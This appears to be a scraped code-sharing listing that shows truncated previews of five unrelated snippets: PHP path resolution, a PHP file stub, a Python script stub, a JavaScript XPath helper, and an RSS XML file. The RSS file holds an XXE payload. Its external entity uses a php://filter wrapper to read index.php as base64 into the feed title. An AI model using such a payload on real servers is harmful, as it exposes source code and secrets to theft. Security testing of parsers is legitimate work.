This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Effectively resolve '..' characters in a file path | |
| * @license GPLv3 | |
| */ | |
| function resolvePath($path) | |
| { | |
| $resolvedPath = array(); | |
| // do some normalization | |
| $path = str_replace('//', '/', $path); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="utf-8"?> | |
| <!DOCTYPE foo [ | |
| <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" > ]> | |
| <rss version="2.0"> | |
| <channel> | |
| <title>W3Schools Home Page</title> | |
| <link>https://www.w3schools.com</link> | |
| <description>Free web building tutorials</description> | |
| <item> | |
| <title>&xxe;</title> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** | |
| * Created by PhpStorm. | |
| * User: edwinsturt | |
| * Date: 2020-06-24 | |
| * Time: 00:45 | |
| */ | |
| $file = 'main.ff0058ad.js.map'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys | |
| import os.path | |
| if __name__ == "__main__": | |
| if len(sys.argv) != 2: | |
| print("usage: {} names.txt".format((sys.argv[0]))) | |
| sys.exit(0) | |
| if not os.path.exists(sys.argv[1]): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Easily log elements that match an XPath selector | |
| selector = '' | |
| // Using var in case you mess up the selector and want to run this again. | |
| // using let or const instead will create re-declaration errors. | |
| var matches = document.evaluate( | |
| selector, | |
| document, | |
| null, | |
| XPathResult.ANY_TYPE, |